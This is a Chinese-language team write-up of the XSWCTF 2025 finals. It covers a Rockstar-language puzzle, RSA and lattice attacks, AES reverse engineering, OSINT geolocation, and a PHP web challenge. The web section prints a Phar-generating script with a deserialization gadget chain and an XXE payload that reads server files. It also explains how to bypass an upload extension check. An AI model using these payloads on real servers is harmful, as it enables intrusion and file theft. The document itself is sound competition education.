XSWCTF 2025 决赛 Write Up

XSWCTF 2025 决赛 Write Up

XSWCTF 2025 决赛解题报告,涵盖 Misc、Crypto、Web、Reverse 和 OSINT 方向,包含 Rockstar 语言解析、RSA 攻击、Phar 反序列化、AES 逆向及地理定位等技术细节。

队伍名:叫什么名字

所属分组:暨大team

总得分:2173

在分组中的排名:7

Misc

S1ng-sunny

使用010 Editor打开发现有一长串的文本,看了一下发现是一首摇滚音乐。上搜索引擎尝试搜索rock ctf,找到了一篇博客https://www.cnblogs.com/wyuu101/p/18811518,得知这一长串文本其实是Rockstar编程语言。用这篇博客提及的脚本发现翻译出来找不到flag,于是只能深入了解一下这门语言。在https://developer.aliyun.com/article/867291得知诗意数字字面量的规则,结合题目给的文本内容,我们需要做以下操作:

  1. 赋值:通过iswas将单词长度转换为数字(例如rocker=6, everything=0);

  2. 输出:通过ScreamShoutSay将数字转换为ASCII字符;

  3. 代词:处理it指代上一个变量的情况。

把这个丢给AI,给出了一份代码,运行后输出XSWCTF{Y0u_4re_a_r0ck_sst4r},提交发现错误,这很奇怪,问了一下AI,原来是这样:

原文逻辑是:

Nick was a a blues   (赋值 Nick = 115 -> 's')
Scream Nick!         (输出 's')
They are dazzled ... (这行原本应该改变变量值,或者是一个陷阱)
Shout it!            (脚本重复输出了上一个变量 's')

这就导致了st4r变成了sst4r

exp:

import re

def solve_rockstar_flag(lyrics):
    variables = {}
    last_variable = None
    flag = ""
    
    # 按行处理
    lines = lyrics.strip().split('\n')
    
    for line in lines:
        line = line.strip()
        if not line:
            continue
            
        # 1. 匹配输出指令 (Scream/Shout/Say/Whisper)
        # 格式:Verb [Variable/it]
        print_match = re.match(r'^(?:Scream|Shout|Say|Whisper)\s+(.+?)(?:!|\.|,)?$', line, re.IGNORECASE)
        
        if print_match:
            target_name = print_match.group(1).replace('!', '').strip()
            
            # 处理代词 "it"
            if target_name.lower() == 'it' and last_variable:
                target_name = last_variable
                
            if target_name in variables:
                char_code = variables[target_name]
                flag += chr(char_code)
                print(f"DEBUG: Output '{chr(char_code)}' from variable '{target_name}' = {char_code}")
            else:
                print(f"DEBUG: Variable '{target_name}' not found in variables")
            continue

        # 2. 匹配赋值指令 (is/was)
        # 格式:Variable is/was Word Word Word...
        assign_match = re.match(r'^([A-Za-z]+)\s+(?:is|was)\s+(.+)$', line, re.IGNORECASE)
        
        if assign_match:
            var_name = assign_match.group(1)
            words_str = assign_match.group(2)
            
            # Rockstar 规则:
            # 1. 将右侧按空格分割成单词
            # 2. 计算每个单词中字母的长度 (忽略标点)
            # 3. 长度模 10 得到该位数字
            # 4. 如果单词是纯数字,直接使用该数字
            
            words = words_str.split()
            digits = []
            
            for word in words:
                # 检查是否是纯数字
                if word.isdigit():
                    digits.append(word)
                else:
                    # 只保留字母计算长度
                    clean_word = re.sub(r'[^a-zA-Z]', '', word)
                    if clean_word:
                        # 10个字母代表0,所以用 % 10
                        digit = len(clean_word) % 10
                        digits.append(str(digit))
            
            if digits:
                # 将数字列表组合成一个整数 (例如 [6, 7] -> 67)
                value = int("".join(digits))
                variables[var_name] = value
                last_variable = var_name # 更新最近赋值的变量,供 "it" 使用
                print(f"DEBUG: Assigned {var_name} = {value} from words: {words}")

    return flag

rockstar_code = """
Purple monkey dishwasher sings blues
The square circle rolls uphill
Invisible colors shout silently
My nothing whispers loud
Put impossible into can't
The undone does forever
Zero heroes rock none
The invisible silence whispers purple
My imaginary guitar sings nothing
Put the void into emptiness
Let nobody be here forever
The sound of silence rocks 42
Your invisible shadow dances midnight
Cast darkness into light
Rock the unrockable with impossible
Tommy was a invisible dancer of nowhere
The silence screams 666
My nothingness burns zero
Join the void with emptiness
Rocknroll is right              
Silence is wrong                
A guitar is a six-string        
Alex's been down               
Music is a billboard-burning razzmatazz!
Listen to the music             
If the music is a guitar                  
Say "Keep on rocking!"    
Listen to the rhythm
If the rhythm without Music is nothing
Tom was reckless rockstar
Shout Tom!       
Music was aBassist Amp
Jamming was reckless riotous
Scream Music!                   
Scream Jamming!
Nop was rocker thraahi!
Shout Nop!    
silent whispers dance with echoes
forgetful memories remember nothing
blind visions see the darkness
empty cups overflow with nothing
put nowhere into everywhere
the frozen fire burns coldly   
Manba is headbang king!
Hajimi was staborn thundering!
Scream Manba!                   
Scream Hajimi!   
unheard symphonies play loudly
untouched touches feel nothing
unseen sights watch blindly
my silent scream makes noise
put zero into infinity
the motionless river flows upstream
Tom is a gg boy
Scream Tom!
mute melodies hum silently
unwritten books read themselves
shadowless light casts darkness
my broken clock ticks backwards
put yesterday into tomorrow
the tasteless flavor tastes sweet
Pitter was midnight lightning 
Scream Pitter!
Mike was hard crashing  
invisible ink writes clearly
soundless thunder roars quietly
weightless stones float downward
my missing presence is absent
put nothing into everything
the endless end begins nowhere
Scream Mike!
Sarah was a S singing  
Scream Sarah!
unheard symphonies play loudly
untouched touches feel nothing
unseen sights watch blindly
my silent scream makes noise
put zero into infinity
the motionless river flows upstream
David was seventeen years  
Scream David!
Lisa was metal go    
Scream Lisa!
breathless winds blow gently
flameless candles burn brightly
iceless snow feels warm
my wordless speech says much
put absence into presence
the shapeless form takes shape
Emma was a a star   
Scream Emma!
John was a everything a  
Scream John!
painless needles prick softly
thoughtless minds think deeply
nameless names call out loud
my vacant room is full
put darkness into light
the voiceless choir sings perfectly
Kate was desperate night 
Scream Kate!
Mark was dangerous dancing 
Scream Mark!
captainless ships sail smoothly
teacherless lessons teach wisdom
leaderless groups move forward
my missing piece fits nowhere
put doubt into faith
the wordless poem speaks volumes
Anna was beautiful world  
Scream Anna!
Chris was a a rock     
Scream Chris!
sightless eyes see visions
touchless hands feel textures
scentless roses smell sweet
my soundless heart beats loudly
put chaos into order
the rootless tree grows tall
Julia was cold november 
Scream Julia!
Ryan was seventeen yesterday  
Scream Ryan!
friendless loners walk together
cloudless rains fall gently
starless nights shine brightly
my paper boat floats on land
put weakness into strength
the seedless fruit bears seeds
Matt was a everything burning  
Scream Matt!
Amy was fantastic music  
Scream Amy!
dawnless mornings break brightly
sunless days glow warmly
moonless nights illuminate softly
my dry well flows freely
put hate into love
the bottomless cup fills slowly
Nick was a a blues       
Scream Nick!
They are dazzled audiences                  
Shout it!
Zoe was a a rhythm     
Scream it!
soulless machines feel emotions
heartless lovers love deeply
mindless thinkers ponder mysteries
my numb skin feels everything
put cold into warmth
the worthless treasure shines bright
Paul was sweet it
Scream it!
mirrorless reflections show clearly
anchorless ships dock safely
mapless journeys find destinations
my broken mirror shows whole
put loss into gain
the endless story ends perfectly
Rock is a u band                    
Scream it!
Luke is a 2 heavy          
Say it!   
"""

decoded_flag = solve_rockstar_flag(rockstar_code)
print(f"Decoded Flag: {decoded_flag}")

FLAG:XSWCTF{Y0u_4re_a_r0ck_st4r}

Crypto

Bivariate Copper-sunny

很熟悉,是一道RSA相关的题目,数据量较大,算法比较复杂,SageMath是我们的首选。

比较特别的是这四行:

t1 = (k * inverse(m + r1, p)) % p
t2 = (k * inverse(m + r2, p)) % p
leak1 = t1 >> 244
leak2 = t2 >> 244

单独喂给AI,结合常规的n,p,q爆破。

XSWCTF 2025 决赛 Write Up图1.png

exp:

e = 65537
N = 4190845851105470675478741213416559782243717075757727903833771958205977048802653225780237470055245895983361396772886152001542982671025931754022495975059917848853679753276698459923722935437786926547959794351106808310346486953141526898401266853874809648259428598931542877615971201231210354480744887356109170800518645593
k = 12365281680381288671
r1 = 9144410517756126435013029016083002712735801054642387622098751193487101216215562293703971866241356055783669611204550875272227458679304511201946361648448397
r2 = 12776175140844604979090713660094736561506184755499536907757209332776967059175177777412075292688365522364612020362287897485306481341531072303954683485324863
leak1 = 1695245620783865449349217224687847955097697163626720411353278328389479491561567894912143249916337419309269148327258121117948005951115053781787725310402594122353324859830911593197874787308657819667750378063862701236933599181465373052534
leak2 = 3685447935443884040688652572829618772965554437663454030883887837624378629244833523545945232076957641489306758284978467817820316539472819031614376260368992760370185208891388275462983539532996283013113345936599740074747431618408879089863

def long_to_bytes(val, endianness='big'):
    try:
        return int(val).to_bytes((int(val).bit_length() + 7) // 8, endianness)
    except:
        return b''

# --------------------------------------------------------
# 步骤 1: 快速分解 N
# --------------------------------------------------------
print("[*] Factoring N using SageMath optimization...")

q = 0
# 方法 A: 使用 Sage 内置的 primes() 迭代器,这比 range() 快得多
# 题目中 q 是 25 位,范围大约是 2^24 到 2^25
# 只要遍历其中的质数即可
for p_cand in primes(2**24, 2**26): 
    if N % p_cand == 0:
        q = p_cand
        break

# 方法 B (备用): 直接用 factor(N),因为其中一个因子很小,Sage 通常能瞬间完成
if q == 0:
    print("[!] Loop failed, trying direct factor()...")
    F = factor(N)
    # F 的格式是 factor_list,例如 23 * 89...
    for f, exponent in F:
        if f.nbits() <= 30: # 找到那个小的
            q = f
            break

if q == 0:
    print("[-] Failed to find q")
    exit()

p = N // q
print(f"[+] Found q: {q}")
print(f"[+] Found p: {p}")

# --------------------------------------------------------
# 步骤 2: 构造 Coppersmith 格并求解
# --------------------------------------------------------
# 关系方程推导:
# t1 = A + x, t2 = B + y
# k * (t2 - t1) = t1 * t2 * (r1 - r2) mod p
# 最终整理为: xy + C_x*x + C_y*y + C_0 = 0 mod p

A = leak1 << 244
B = leak2 << 244
D = (r1 - r2) % p
X_bound = 2**244
Y_bound = 2**244

# 计算系数
# 原始方程: D*xy + (D*B + k)*x + (D*A - k)*y + (D*A*B - k*(B-A)) = 0 mod p
c_xy = D
c_x = (D * B + k) % p
c_y = (D * A - k) % p
c_0 = (D * A * B - k * (B - A)) % p

# 归一化 xy 的系数 (乘以 D 的逆元)
inv_D = inverse_mod(D, p)
C_x = (c_x * inv_D) % p
C_y = (c_y * inv_D) % p
C_0 = (c_0 * inv_D) % p

print("[*] Constructing Lattice...")

# 构造矩阵
# [p,   0,     0,     0    ]
# [0,   p*X,   0,     0    ]
# [0,   0,     p*Y,   0    ]
# [C_0, C_x*X, C_y*Y, X*Y  ]

M = Matrix(ZZ, [
    [p, 0, 0, 0],
    [0, p * X_bound, 0, 0],
    [0, 0, p * Y_bound, 0],
    [C_0, C_x * X_bound, C_y * Y_bound, X_bound * Y_bound]
])

# LLL 规约
print("[*] Running LLL...")
L = M.LLL()

# --------------------------------------------------------
# 步骤 3: 从格基中提取多项式并求解
# --------------------------------------------------------
PR.<x, y> = PolynomialRing(ZZ)

polys = []
for row in L:
    # 还原多项式: 每一项除以对应的 Bound
    poly = (row[0]) + (row[1] // X_bound) * x + (row[2] // Y_bound) * y + (row[3] // (X_bound * Y_bound)) * x * y
    if not poly.is_constant():
        polys.append(poly)
    # 取两个最短的非线性相关向量即可
    if len(polys) >= 2: 
        break

print(f"[*] Found {len(polys)} polynomials. Solving via resultant...")

x_root = None

if len(polys) >= 2:
    f1 = polys[0]
    f2 = polys[1]
    
    # 结式消元:消去 y,得到关于 x 的单变量多项式
    res = f1.resultant(f2, y)
    
    if not res.is_constant():
        roots = res.univariate_polynomial().roots()
        for r, multi in roots:
            if 0 <= r < X_bound:
                # 找到 x 后,代回 f1 求 y
                f1_x = f1.subs(x=r)
                roots_y = f1_x.univariate_polynomial().roots()
                for ry, _ in roots_y:
                     # 最终验证
                     if (r * ry + C_x * r + C_y * ry + C_0) % p == 0:
                         x_root = r
                         print(f"[+] Found correct roots: x = {r}, y = {ry}")
                         break
            if x_root: break

if x_root is None:
    print("[-] Failed to find roots.")
else:
    # --------------------------------------------------------
    # 步骤 4: 恢复 Flag
    # --------------------------------------------------------
    # t1 = A + x
    t1_val = (A + x_root)
    # m = k * t1^-1 - r1  (mod p)
    inv_t1 = inverse_mod(t1_val, p)
    m = (k * inv_t1 - r1) % p

    print(f"[+] Message (int): {m}")
    try:
        flag = long_to_bytes(m)
        print(f"\n[SUCCESS] Flag: {flag.decode()}")
    except Exception as e:
        print(f"[!] Could not decode flag: {e}")

FLAG:XSWCTF{H4HAhhHHhA_C0pPER_nO7_v1olen7_EN0u9H}

Loss N-4-sunny

又是一道经典的RSA题目,特别的是:pq是相邻素数。询问AI得知有以下方法解决:

  1. 利用d和e的关系:e*d≡1(mod φ(n))e*d-1=k*φ(n)

  2. 估算φ(n):由于p≈q≈√n,所以φ(n)≈n

  3. 通过 k 值爆破:k通常较小,可以尝试不同的k值。

XSWCTF 2025 决赛 Write Up图2.png

exp:

from Crypto.Util.number import *
from gmpy2 import *

c = 110157453788276416845958554650140297390008675026645379372049760235965161974147697813741072230950825776389065738494545692599239739045097899634350260896173502069732525067527210284898117386153094581976523279745962233540897634485006836681979897848887690550478451011647513971766545180106966597492390626294804301266
d = 47804161629477338557293300475512953131211901204673376766163943696070799570544193283545598926499768503307992988497307168258744847946474483793913904786494038927839566422208905693760196894153312090168502238307702118863443328085819116069879793884515440296257765016794439699608089414343374243936691256908527499297
e = 0x10001

ed_minus_1 = e * d - 1

for k in range(1, 100000):
    if ed_minus_1 % k == 0:
        phi = ed_minus_1 // k
        # p + q = s, p*q = n, φ = (p-1)(q-1) = n - s + 1
        # 所以 s = n - φ + 1
        # 对于相邻素数: p ≈ √φ
        sqrt_phi = isqrt(phi)
        for p in range(sqrt_phi - 500, sqrt_phi + 500):
            if isPrime(p):
                q = next_prime(p)
                if (p-1)*(q-1) == phi:
                    n = p * q
                    m = pow(c, d, n)
                    print(long_to_bytes(m))
                    exit()

FLAG:XSWCTF{Y0u_kNOW_H0W_T0_FaC7oriz3_pHI}

Web

ppphp-Ayzin

文件上传和反序列化漏洞。只能说出题人给的提示绝杀了。

题目给出一个图片上传接口,要求只能上传JPG,PNG,GIF,JPEG格式。直接传一张正常图片测试下上传路径,发现返回到upload.php文件,看到了经典的destruct()反序列化魔术方法。上传的图片会被随机数重命名,且打开图片路径为/uploads,发现图片无法正常显示。

upload.php

给出的PHP代码如下:

<?php 
 highlight_file(__FILE__); 
 class LoveNss{ 
     public $a; 
     public $b; 
     public $class; 
     public $data; 
     public $cmd; 
     public function __construct(){ 
         $this->a="a"; 
         $this->b="b"; 
     } 
     public function __destruct(){ 
         if($this->a==="web"&&$this->b==="pwn"){ 
             $class=$this->class; 
             $data=$this->data; 
             $c=new ReflectionClass($class); 
             $c->newInstanceArgs($data); 
         } 
     } 
 }

这里出现了一个关键机制:==ReflectionClass::newInstanceArgs()==,查询php手册可知,该方法可以通过数组参数动态实例化类,需要传入一个数组。

XSWCTF 2025 决赛 Write Up图3.png

但是,做到这里发现问题:这条链没有指定传入参数,并非过往直接传入序列化字符串的方式。

到浏览器搜下文件上传和反序列化结合,发现存在一种利用Phar文件特性触发反序列化漏洞的方式。

XSWCTF 2025 决赛 Write Up图4.png

那么这题大概率需要通过phar解析漏洞来触发upload.php的反序列化。

解决了如何传参的问题后,就是怎么打链了。这里尝试了SplFileObject类触发解析,但一直没能成功。题目提示:if(strpos(@file_get_contents("phar://uploads/".$file['name']),'<?php')===true){ die("文件内容不合法"); }

可以知道上传的文件会自动触发phar://伪协议,且<?php标签会被检测并被过滤,但name参数这里,由于我们上传的文件会被重命名,所以难以触发。想到是否存在条件竞争的可能,高速重复上传尝试未成功。

upload.php的内容喂给AI问下其他构造链的可能:发现一种通过SimpleXML类触发xxe解析的方式。

XSWCTF 2025 决赛 Write Up图5.png

引入外部实体触发的解析可能不会被过滤,试下:

<?php
class LoveNss{
    public $a;
    public $b;
    public $class;
    public $data;
}
$obj = new LoveNss();
$obj->a = "web";
$obj->b = "pwn";
$obj->class = "SimpleXMLElment";
$obj->data = array('<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM “php://filter/read=convert.base64-encode/resource=/f*”>%xxe;]><root></root>', LIBXML_NOENT);
//生成phar文件
$phar = new Phar('test.phar');
$phar->startBuffering();
//使用短标签
$phar->setStub('<?=_HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'anything');
$phar->setMetadata($obj);
$obj->stopBuffering();
echo "success";
?>

上传时将文件后缀改为jpg/png/gif绕过扩展名检测:

XSWCTF 2025 决赛 Write Up图6.png

此时文件成功上传并被重命名为6933dc96leaa9_20251206.jpg,再随便上传一个文件,将文件名改为6933dc96leaa9_20251206.jpg,就能触发phar://uploads/6933dc96leaa9_20251206.jpg,从而触发反序列化漏洞。

XSWCTF 2025 决赛 Write Up图7.png

这张图是第一次做出来时截的,前面的都是复现过程。

最后base64解码得到flag。

FLAG:XSWCTF{nAtlVe_ClasS_iS_d4Nger0Us_1f5eeJ4dd707}

Reverse

finaltip-sunny

使用IDA Professional 9.1打开finaltip.exe,从main函数开始一步一步分析代码。sub_402A7D对输入的Buffer进行验证,于是我们跳转到sub_402A7D

__int64 __fastcall sub_402A7D(__int64 p_Buffer)
{
  _BYTE v2[48]; // [rsp+20h] [rbp-60h] BYREF
  _BYTE v3[28]; // [rsp+50h] [rbp-30h] BYREF
  unsigned int v4; // [rsp+6Ch] [rbp-14h]
  void *v5; // [rsp+70h] [rbp-10h]
  void *Block; // [rsp+78h] [rbp-8h]

  Block = (void *)sub_402AFE(p_Buffer);
  sub_402CAC(Block, v3);
  v5 = (void *)sub_402C3D(p_Buffer);
  sub_402CAC(v5, v2);
  v4 = sub_402D1A(p_Buffer, v3, v2);
  free(Block);
  free(v5);
  return v4;
}

这个函数没有直接暴露比较逻辑。根据题目的提示,我找到这里的最后一步sub_402D1A,终于发现了关键的算法。

_BOOL8 __fastcall sub_402D1A(const char *p_Buffer, __int64 Source_1, const char *Destination_1)
{
  size_t v3; // rbx
  size_t v4; // rax
  char Str1[112]; // [rsp+20h] [rbp-60h] BYREF
  char *Buffer; // [rsp+90h] [rbp+10h]
  char *Destination; // [rsp+98h] [rbp+18h]
  size_t v9; // [rsp+A0h] [rbp+20h]
  unsigned int v10; // [rsp+ACh] [rbp+2Ch]

  v9 = strlen(Destination_1);
  if ( v9 && Destination_1[v9 - 1] == 10 )
    Destination_1[v9 - 1] = 0;
  v3 = strlen(Destination_1);
  v4 = strlen((const char *)Source_1);
  Destination = (char *)malloc(v3 + v4 + 1);
  strcpy(Destination, Destination_1);
  strcat(Destination, (const char *)Source_1);
  strncpy((char *)Source_1, Destination + 8, 0x10u);
  *(_BYTE *)(Source_1 + 16) = 0;
  v10 = strlen(p_Buffer);
  if ( v10 )
  {
    if ( (v10 & 0xF) != 0 )
      v10 += 16 - (int)v10 % 16;
    else
      v10 += 16;
    sub_40213E(p_Buffer, v10, Source_1);
    puts("After ASCII is:");
    Buffer = (char *)sub_4029CF(p_Buffer, v10);
    puts(Buffer);
    strcpy(Str1, "a2346bf169aa11eb0d8b839a95ca42d005728816c034f39fc5162c81094524a85483b78e41ab6b6ab63e278c2efda887");
    free(Destination);
    return strcmp(Str1, Buffer) == 0;
  }
  else
  {
    puts("plen error");
    free(Destination);
    return 0;
  }
}

AI辅助分析,代码将Destination_1(来自之前的 v2)和Source_1(来自之前的 v3)拼接在一起。

接下来我们需要查看Source_1指向的内存内容。首先在x64dbg中利用After ASCII字符串定位到sub_402D1A

0000000000402E4D | 48:8B55 58      | mov rdx,qword ptr ss:[rbp+58]  <-- 1. 把 Key 的地址从栈里取出来放到 RDX
0000000000402E51 | 8B45 2C         | mov eax,dword ptr ss:[rbp+2C]
0000000000402E54 | 49:89D0         | mov r8,rdx                     <-- 2. 把 Key 的地址转移给 R8 (作为第3个参数)
0000000000402E57 | 89C2            | mov edx,eax                    <-- 3. 把长度放到 RDX (作为第2个参数)
0000000000402E59 | 48:8B4D 50      | mov rcx,qword ptr ss:[rbp+50]  <-- 4. 把输入字符串放到 RCX (作为第1个参数)
0000000000402E5D | E8 DCF2FFFF     | call finaltip.40213E           <-- 5. 调用加密函数

call finaltip.40213E处下断点,运行到断点,在R8寄存器上点击右键找到内存窗口显示的Key

XSWCTF 2025 决赛 Write Up图8.png

exp:

from Crypto.Cipher import AES
from binascii import unhexlify

# 1. 密文
cipher_text_hex = "a2346bf169aa11eb0d8b839a95ca42d005728816c034f39fc5162c81094524a85483b78e41ab6b6ab63e278c2efda887"
cipher_data = unhexlify(cipher_text_hex)

# 2. Key (已确认正确)
key = b"4917885806f647ab"

# 3. 尝试 CBC 模式 (IV 全为 0)
# 既然代码里没看到传 IV 参数,通常就是全0
iv = b'\x00' * 16 

print("正在尝试 AES-CBC Mode (IV=0)...")

try:
    # 使用 CBC 模式,设置 IV
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = cipher.decrypt(cipher_data)
    
    print("\n--- 原始解密数据 (Hex) ---")
    print(decrypted_data.hex())

    print("\n--- 尝试显示结果 ---")
    # 尝试直接解码,忽略错误
    print(decrypted_data.decode('utf-8', errors='ignore'))
    
    # 简单的去填充逻辑(如果最后一位小于16,尝试去掉)
    last_byte = decrypted_data[-1]
    if last_byte < 16:
        clean_flag = decrypted_data[:-last_byte]
        print("\n--- 去除 Padding 后的 Flag ---")
        print(clean_flag.decode('utf-8', errors='ignore'))

except Exception as e:
    print("出错:", e)

# -----------------------------------------------------------
# 备用:如果上面还是乱码,这里保留 ECB 模式的原始输出供分析
# -----------------------------------------------------------
print("\n" + "="*30 + "\n")
print("正在复查 AES-ECB Mode (原始数据)...")
cipher_ecb = AES.new(key, AES.MODE_ECB)
dec_ecb = cipher_ecb.decrypt(cipher_data)
print(dec_ecb) # 直接打印字节串

FLAG:XSWCTF{1s_th1s_an_3z_2nd_h2ppy_try?}

OSINT

master of osint(easy ver.)-sunny

挑战 1

原图丢https://graph.baidu.com/pcpage/index?tpl_from=pc显示为南京玄武湖

XSWCTF 2025 决赛 Write Up图9.png

百度地图搜索该地点,然后在附近搜索码头,答案为菱洲码头

XSWCTF 2025 决赛 Write Up图10.png

挑战 2

XSWCTF 2025 决赛 Write Up图11.png

一开始在这个国家安全科技馆附近试了很久,无果,遂仔细阅读题目。首先,师傅们已经参加完决赛了,这代表着他们不一定在决赛地点附近。然后,我打开图片,远处的交通指示牌上的蓝色指示牌明显可见火车站西广场心怡路,原来真是要走了。左侧的绿色指示牌有点模糊,结合国家安全科技馆所处郑州市,加上眯眯眼,约莫猜出是郑州东站。上百度地图搜索,果然在郑州东站的西边就是心怡路,地方没错了。

XSWCTF 2025 决赛 Write Up图12.png

因为郑州东站心怡路非常靠近,图片又显示在这个位置分叉,所以图片拍摄位置一定就在这里不远。放大看看附近路名是五个字的也就两条:商鼎路辅路七里河南路,答案为七里河南路

挑战 3

原图丢https://graph.baidu.com/pcpage/index?tpl_from=pc直接出答案,答案为:郑州新郑国际机场

XSWCTF 2025 决赛 Write Up图13.png

挑战 4

西北工业大学南山苑国际学术交流中心附近搜索酒店,寻找7字ID,答案为西安豪庭大酒店

挑战 5

百度地图搜索金马凯旋二手车,结合拍摄的距离和行道树还有隔音板等,可知在答案为西四环

挑战 6

最可怕的敌人就在身边

别被大大的车牌粤B误导了,看看图片的右上角吧,国家电网不会骗你,这并不在南方。再仔细查看,图片有两个号码,2455245513110045091,它们均指向天津。在天津市搜索画面清晰可见的oui,原来店名第二行模糊的文字是Restaurant&Bistro,这家店就是OUI Restaurant&Bistro/OUI MORE COFFEE(重庆道店)。在https://lbsyun.baidu.com/maptool/getpoint搜索OUI MORE COFFEE(重庆道店),答案为:117.21,39.12

XSWCTF 2025 决赛 Write Up图14.png

最后呈上出flag的截图:

XSWCTF 2025 决赛 Write Up图15.png

配置IDA Professional 9.1完全体保姆级教程 2025-11-28
XSWCTF 2025 初赛 Write Up 2025-12-06